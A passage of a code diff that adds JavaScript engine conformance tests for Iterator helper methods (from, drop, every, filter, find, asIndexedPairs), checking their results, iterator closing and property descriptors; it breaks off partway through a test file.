diff --git a/js/src/tests/non262/Iterator/from/wrap-return-closes-iterator.js b/js/src/tests/non262/Iterator/from/wrap-return-closes-iterator.js
new file mode 100644
index 0000000000..22518871f3
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/wrap-return-closes-iterator.js
@@ -0,0 +1,33 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+class Iter {
+ next() {
+ if (this.closed)
+ return { done: true, value: undefined };
+ return { done: false, value: 0 };
+ }
+
+ return(value) {
+ this.closed = true;
+ return { done: true, value };
+ }
+}
+
+const iter = new Iter();
+const wrap = Iterator.from(iter);
+assertEq(iter.closed, undefined);
+
+let result = wrap.next();
+assertEq(result.done, false);
+assertEq(result.value, 0);
+
+result = wrap.return(1);
+assertEq(result.done, true);
+assertEq(result.value, 1);
+
+assertEq(iter.closed, true);
+result = wrap.next();
+assertEq(result.done, true);
+assertEq(result.value, undefined);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/wrap-throw.js b/js/src/tests/non262/Iterator/from/wrap-throw.js
new file mode 100644
index 0000000000..ffe17c80e8
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/wrap-throw.js
@@ -0,0 +1,45 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+class Iter {
+ next() {
+ return { done: false, value: 0 };
+ }
+}
+
+const iter = new Iter();
+const wrap = Iterator.from(iter);
+
+assertThrowsInstanceOf(() => wrap.throw(new Error()), Error);
+assertThrows(() => wrap.throw());
+assertThrows(() => wrap.throw(1));
+
+class IterThrowNull {
+ next() {
+ return { done: false, value: 0 };
+ }
+ throw = null;
+}
+
+const iterNull = new IterThrowNull();
+const wrapNull = Iterator.from(iter);
+
+assertThrowsInstanceOf(() => wrapNull.throw(new Error()), Error);
+assertThrows(() => wrapNull.throw());
+assertThrows(() => wrapNull.throw(1));
+
+class IterWithThrow {
+ next() {
+ return { done: false, value: 0 };
+ }
+
+ throw(value) {
+ return value;
+ }
+}
+
+const iterWithThrow = new IterWithThrow();
+const wrapWithThrow = Iterator.from(iterWithThrow);
+
+assertEq(wrapWithThrow.throw(1), 1);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/iterator.js b/js/src/tests/non262/Iterator/iterator.js
new file mode 100644
index 0000000000..ad48fc2061
--- /dev/null
+++ b/js/src/tests/non262/Iterator/iterator.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ Property descriptor of Iterator.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(this, 'Iterator');
+assertEq(propDesc.value, Iterator);
+assertEq(propDesc.writable, true);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/length.js b/js/src/tests/non262/Iterator/length.js
new file mode 100644
index 0000000000..07d1e4f804
--- /dev/null
+++ b/js/src/tests/non262/Iterator/length.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ The "length" property of Iterator
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator, 'length');
+assertEq(propDesc.value, 0);
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/name.js b/js/src/tests/non262/Iterator/name.js
new file mode 100644
index 0000000000..c11e570228
--- /dev/null
+++ b/js/src/tests/non262/Iterator/name.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ The "name" property of Iterator
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator, 'name');
+assertEq(propDesc.value, 'Iterator');
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/proto.js b/js/src/tests/non262/Iterator/proto.js
new file mode 100644
index 0000000000..2ab92641e7
--- /dev/null
+++ b/js/src/tests/non262/Iterator/proto.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ The prototype of the Iterator constructor is the intrinsic object %FunctionPrototype%.
+---*/
+
+assertEq(Object.getPrototypeOf(Iterator), Function.prototype);
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator, 'prototype');
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, false);
+
+// Make sure @@toStringTag hasn't been set.
+assertEq(Symbol.toStringTag in propDesc.value, false);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/asIndexedPairs/asIndexedPairs.js b/js/src/tests/non262/Iterator/prototype/asIndexedPairs/asIndexedPairs.js
new file mode 100644
index 0000000000..42dfb6aaca
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/asIndexedPairs/asIndexedPairs.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+let iter = [1, 2, 3].values().asIndexedPairs();
+
+for (const v of [[0, 1], [1, 2], [2, 3]]) {
+ let result = iter.next();
+ assertEq(result.done, false);
+ assertEq(result.value[0], v[0]);
+ assertEq(result.value[1], v[1]);
+}
+
+assertEq(iter.next().done, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/asIndexedPairs/length.js b/js/src/tests/non262/Iterator/prototype/asIndexedPairs/length.js
new file mode 100644
index 0000000000..4ec7ce238c
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/asIndexedPairs/length.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: %Iterator.prototype%.asIndexedPairs length value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+features: [iterator-helpers]
+---*/
+
+assertEq(Iterator.prototype.asIndexedPairs.length, 0);
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(Iterator.prototype.asIndexedPairs, 'length');
+assertEq(propertyDescriptor.value, 0);
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/asIndexedPairs/name.js b/js/src/tests/non262/Iterator/prototype/asIndexedPairs/name.js
new file mode 100644
index 0000000000..74d31d7905
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/asIndexedPairs/name.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+/*---
+esid: pending
+description: %Iterator.prototype%.asIndexedPairs.name value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+features: [iterator-helpers]
+---*/
+
+assertEq(Iterator.prototype.asIndexedPairs.name, 'asIndexedPairs');
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(Iterator.prototype.asIndexedPairs, 'name');
+assertEq(propertyDescriptor.value, 'asIndexedPairs');
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/drop/drop-more-than-available.js b/js/src/tests/non262/Iterator/prototype/drop/drop-more-than-available.js
new file mode 100644
index 0000000000..230ebb8faf
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/drop/drop-more-than-available.js
@@ -0,0 +1,37 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: %Iterator.prototype%.drop returns if the iterator is done.
+info: >
+ Iterator Helpers proposal 2.1.5.5
+ 1. Repeat, while remaining > 0,
+ ...
+ b. Let next be ? IteratorStep(iterated).
+ c. If next is false, return undefined.
+features: [iterator-helpers]
+---*/
+
+let iter = [1, 2].values().drop(3);
+let result = iter.next();
+assertEq(result.value, undefined);
+assertEq(result.done, true);
+
+class TestIterator extends Iterator {
+ counter = 0;
+ next() {
+ return {done: ++this.counter >= 2, value: undefined};
+ }
+}
+
+iter = new TestIterator();
+let dropped = iter.drop(10);
+result = dropped.next();
+assertEq(result.value, undefined);
+assertEq(result.done, true);
+assertEq(iter.counter, 2);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/drop/drop.js b/js/src/tests/non262/Iterator/prototype/drop/drop.js
new file mode 100644
index 0000000000..2bacd45196
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/drop/drop.js
@@ -0,0 +1,26 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+/*---
+esid: pending
+description: Smoketest of %Iterator.prototype%.drop.
+info: >
+ Iterator Helpers proposal 2.1.5.5
+features: [iterator-helpers]
+---*/
+
+let iter = [1, 2, 3].values().drop(1);
+
+for (const v of [2, 3]) {
+ let result = iter.next();
+ assertEq(result.done, false);
+ assertEq(result.value, v);
+}
+
+assertEq(iter.next().done, true);
+
+// `drop`, when called without arguments, has a limit of undefined,
+// which converts to 0.
+assertEq(['test'].values().drop().next().value, 'test');
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/drop/length.js b/js/src/tests/non262/Iterator/prototype/drop/length.js
new file mode 100644
index 0000000000..d7dbcefcc5
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/drop/length.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: %Iterator.prototype%.drop length value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+includes: [propertyHelper.js]
+features: [Symbol.iterator]
+---*/
+
+assertEq(Iterator.prototype.drop.length, 1);
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(Iterator.prototype.drop, 'length');
+assertEq(propertyDescriptor.value, 1);
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/drop/name.js b/js/src/tests/non262/Iterator/prototype/drop/name.js
new file mode 100644
index 0000000000..06c904a21c
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/drop/name.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+/*---
+esid: pending
+description: %Iterator.prototype%.drop.name value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+features: [iterator-helpers]
+---*/
+
+assertEq(Iterator.prototype.drop.name, 'drop');
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(Iterator.prototype.drop, 'name');
+assertEq(propertyDescriptor.value, 'drop');
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/every/check-fn-after-getting-iterator.js b/js/src/tests/non262/Iterator/prototype/every/check-fn-after-getting-iterator.js
new file mode 100644
index 0000000000..4c7305ad5c
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/every/check-fn-after-getting-iterator.js
@@ -0,0 +1,26 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class TestIterator extends Iterator {
+ next() {
+ return {done: true};
+ }
+}
+
+const iter = new Proxy(new TestIterator(), handlerProxy);
+assertThrowsInstanceOf(() => iter.every(1), TypeError);
+
+assertEq(
+ log.join('\n'),
+ `get: every
+get: next`
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/every/coerce-result-to-boolean.js b/js/src/tests/non262/Iterator/prototype/every/coerce-result-to-boolean.js
new file mode 100644
index 0000000000..4af9650ab8
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/every/coerce-result-to-boolean.js
@@ -0,0 +1,23 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const fn = (value) => value;
+assertEq([true].values().every(fn), true);
+assertEq([1].values().every(fn), true);
+assertEq([[]].values().every(fn), true);
+assertEq([{}].values().every(fn), true);
+assertEq(['test'].values().every(fn), true);
+
+assertEq([false].values().every(fn), false);
+assertEq([0].values().every(fn), false);
+assertEq([''].values().every(fn), false);
+assertEq([null].values().every(fn), false);
+assertEq([undefined].values().every(fn), false);
+assertEq([NaN].values().every(fn), false);
+assertEq([-0].values().every(fn), false);
+assertEq([0n].values().every(fn), false);
+
+const htmlDDA = createIsHTMLDDA();
+assertEq([htmlDDA].values().every(fn), false);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/every/descriptor.js b/js/src/tests/non262/Iterator/prototype/every/descriptor.js
new file mode 100644
index 0000000000..e11eca28f3
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/every/descriptor.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ Descriptor property of Iterator.prototype.every
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.prototype, 'every');
+assertEq(typeof propDesc.value, 'function');
+assertEq(propDesc.writable, true);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/every/error-from-correct-realm.js b/js/src/tests/non262/Iterator/prototype/every/error-from-correct-realm.js
new file mode 100644
index 0000000000..7b24a631bb
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/every/error-from-correct-realm.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const otherGlobal = newGlobal({newCompartment: true});
+assertEq(TypeError !== otherGlobal.TypeError, true);
+
+const iter = [].values();
+
+assertThrowsInstanceOf(() => iter.every(), TypeError);
+assertThrowsInstanceOf(
+ otherGlobal.Iterator.prototype.every.bind(iter),
+ otherGlobal.TypeError,
+ 'TypeError comes from the realm of the method.',
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/every/fn-not-callable-throws.js b/js/src/tests/non262/Iterator/prototype/every/fn-not-callable-throws.js
new file mode 100644
index 0000000000..6b4328180c
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/every/fn-not-callable-throws.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const iter = [].values();
+
+assertThrowsInstanceOf(() => iter.every(), TypeError);
+assertThrowsInstanceOf(() => iter.every(undefined), TypeError);
+assertThrowsInstanceOf(() => iter.every(null), TypeError);
+assertThrowsInstanceOf(() => iter.every(0), TypeError);
+assertThrowsInstanceOf(() => iter.every(false), TypeError);
+assertThrowsInstanceOf(() => iter.every(''), TypeError);
+assertThrowsInstanceOf(() => iter.every(Symbol('')), TypeError);
+assertThrowsInstanceOf(() => iter.every({}), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/every/fn-throws-close-iterator.js b/js/src/tests/non262/Iterator/prototype/every/fn-throws-close-iterator.js
new file mode 100644
index 0000000000..e3df75e2df
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/every/fn-throws-close-iterator.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+class TestIterator extends Iterator {
+ next() {
+ return { done: this.closed };
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const fn = () => { throw new Error(); };
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+assertThrowsInstanceOf(() => iter.every(fn), Error);
+assertEq(iter.closed, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/every/length.js b/js/src/tests/non262/Iterator/prototype/every/length.js
new file mode 100644
index 0000000000..8ef8ecbc7f
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/every/length.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ The `length` property of Iterator.prototype.every.
+info: |
+ ES7 section 17: Unless otherwise specified, the length property of a built-in
+ Function object has the attributes { [[Writable]]: false, [[Enumerable]]:
+ false, [[Configurable]]: true }.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.prototype.every, 'length');
+assertEq(propDesc.value, 1);
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/every/name.js b/js/src/tests/non262/Iterator/prototype/every/name.js
new file mode 100644
index 0000000000..7a75da9771
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/every/name.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ `name` property of Iterator.prototype.every.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.prototype.every, 'name');
+assertEq(propDesc.value, 'every');
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/every/next-throws-iterator-not-closed.js b/js/src/tests/non262/Iterator/prototype/every/next-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..56a3dae169
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/every/next-throws-iterator-not-closed.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+class TestIterator extends Iterator {
+ next() {
+ throw new Error();
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const fn = () => {};
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+assertThrowsInstanceOf(() => iter.every(fn), Error);
+assertEq(iter.closed, false);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/every/proxy.js b/js/src/tests/non262/Iterator/prototype/every/proxy.js
new file mode 100644
index 0000000000..c3a5b27770
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/every/proxy.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+//
+// This test checks that %Iterator.prototype%.every only gets the `next` method off of the
+// iterator once, and never accesses the @@iterator property.
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class Counter extends Iterator {
+ value = 0;
+ next() {
+ const value = this.value;
+ if (value < 2) {
+ this.value = value + 1;
+ return {done: false, value};
+ }
+ return {done: true};
+ }
+}
+
+const iter = new Proxy(new Counter(), handlerProxy);
+assertEq(iter.every(x => x % 2 == 0), false);
+
+assertEq(
+ log.join('\n'),
+ `get: every
+get: next
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: return`
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/every/return-true-if-all-match.js b/js/src/tests/non262/Iterator/prototype/every/return-true-if-all-match.js
new file mode 100644
index 0000000000..894219d29e
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/every/return-true-if-all-match.js
@@ -0,0 +1,11 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const iter = [1, 3, 5].values();
+const fn = (value) => value % 2 == 1;
+
+assertEq(iter.every(fn), true);
+
+assertEq([].values().every(x => x), true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/every/short-circuit-on-false.js b/js/src/tests/non262/Iterator/prototype/every/short-circuit-on-false.js
new file mode 100644
index 0000000000..15b144a4a4
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/every/short-circuit-on-false.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const iter = [1, 2, 3].values();
+const log = [];
+const fn = (value) => {
+ log.push(value.toString());
+ return value % 2 == 1;
+};
+
+assertEq(iter.every(fn), false);
+assertEq(log.join(','), '1,2');
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/every/this-not-iterator-throws.js b/js/src/tests/non262/Iterator/prototype/every/this-not-iterator-throws.js
new file mode 100644
index 0000000000..5796c8524e
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/every/this-not-iterator-throws.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const fn = x => x;
+assertThrowsInstanceOf(Iterator.prototype.every.bind(undefined, fn), TypeError);
+assertThrowsInstanceOf(Iterator.prototype.every.bind({}, fn), TypeError);
+assertThrowsInstanceOf(Iterator.prototype.every.bind({next: 0}, fn), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/every/value-throws-iterator-not-closed.js b/js/src/tests/non262/Iterator/prototype/every/value-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..61fe29b7a1
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/every/value-throws-iterator-not-closed.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+class TestError extends Error {}
+class TestIterator extends Iterator {
+ next() {
+ return new Proxy({done: false}, {get: (target, key, receiver) => {
+ if (key === 'value')
+ throw new TestError();
+ return 0;
+ }});
+ }
+
+ closed = false;
+ return() {
+ closed = true;
+ }
+}
+
+const iterator = new TestIterator();
+assertEq(iterator.closed, false, 'iterator starts unclosed');
+assertThrowsInstanceOf(() => iterator.every(x => x), TestError);
+assertEq(iterator.closed, false, 'iterator remains unclosed');
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/filter/coerce-result-to-boolean.js b/js/src/tests/non262/Iterator/prototype/filter/coerce-result-to-boolean.js
new file mode 100644
index 0000000000..a3d16bcdfa
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/filter/coerce-result-to-boolean.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+// All truthy values are kept.
+const truthyValues = [true, 1, [], {}, 'test'];
+for (const value of [...truthyValues].values().filter(x => x)) {
+ assertEq(truthyValues.shift(), value);
+}
+
+// All falsy values are filtered out.
+const falsyValues = [false, 0, '', null, undefined, NaN, -0, 0n, createIsHTMLDDA()];
+const result = falsyValues.values().filter(x => x).next();
+assertEq(result.done, true);
+assertEq(result.value, undefined);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/filter/filter.js b/js/src/tests/non262/Iterator/prototype/filter/filter.js
new file mode 100644
index 0000000000..1d148cb82b
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/filter/filter.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+let iter = [1, 2, 3].values().filter(x => x % 2);
+
+for (const v of [1, 3]) {
+ let result = iter.next();
+ assertEq(result.done, false);
+ assertEq(result.value, v);
+}
+
+assertEq(iter.next().done, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/filter/length.js b/js/src/tests/non262/Iterator/prototype/filter/length.js
new file mode 100644
index 0000000000..c1fad91b1d
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/filter/length.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: %Iterator.prototype%.filter length value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+includes: [propertyHelper.js]
+features: [Symbol.iterator]
+---*/
+
+assertEq(Iterator.prototype.filter.length, 1);
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(Iterator.prototype.filter, 'length');
+assertEq(propertyDescriptor.value, 1);
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/filter/name.js b/js/src/tests/non262/Iterator/prototype/filter/name.js
new file mode 100644
index 0000000000..b278220225
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/filter/name.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+/*---
+esid: pending
+description: %Iterator.prototype%.filter.name value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+features: [iterator-helpers]
+---*/
+
+assertEq(Iterator.prototype.filter.name, 'filter');
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(Iterator.prototype.filter, 'name');
+assertEq(propertyDescriptor.value, 'filter');
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/find/check-fn-after-getting-iterator.js b/js/src/tests/non262/Iterator/prototype/find/check-fn-after-getting-iterator.js
new file mode 100644
index 0000000000..0417360cc9
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/find/check-fn-after-getting-iterator.js
@@ -0,0 +1,26 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class TestIterator extends Iterator {
+ next() {
+ return {done: true};
+ }
+}
+
+const iter = new Proxy(new TestIterator(), handlerProxy);
+assertThrowsInstanceOf(() => iter.find(1), TypeError);
+
+assertEq(
+ log.join('\n'),
+ `get: find
+get: next`
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/find/coerce-result-to-boolean.js b/js/src/tests/non262/Iterator/prototype/find/coerce-result-to-boolean.js
new file mode 100644
index 0000000000..7818e5a58d
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/find/coerce-result-to-boolean.js
@@ -0,0 +1,27 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const fn = (value) => value;
+assertEq([true].values().find(fn), true);
+assertEq([1].values().find(fn), 1);
+assertEq(['test'].values().find(fn), 'test');
+
+assertEq([false].values().find(fn), undefined);
+assertEq([0].values().find(fn), undefined);
+assertEq([''].values().find(fn), undefined);
+assertEq([null].values().find(fn), undefined);
+assertEq([undefined].values().find(fn), undefined);
+assertEq([NaN].values().find(fn), undefined);
+assertEq([-0].values().find(fn), undefined);
+assertEq([0n].values().find(fn), undefined);
+
+let array = [];
+assertEq([array].values().find(fn), array);
+
+let object = {};
+assertEq([object].values().find(fn), object);
+
+const htmlDDA = createIsHTMLDDA();
+assertEq([htmlDDA].values().find(fn), undefined);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/find/descriptor.js b/js/src/tests/non262/Iterator/prototype/find/descriptor.js
new file mode 100644
index 0000000000..45699dff85
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/find/descriptor.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ Descriptor property of Iterator.prototype.find
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.prototype, 'find');
+assertEq(typeof propDesc.value, 'function');
+assertEq(propDesc.writable, true);
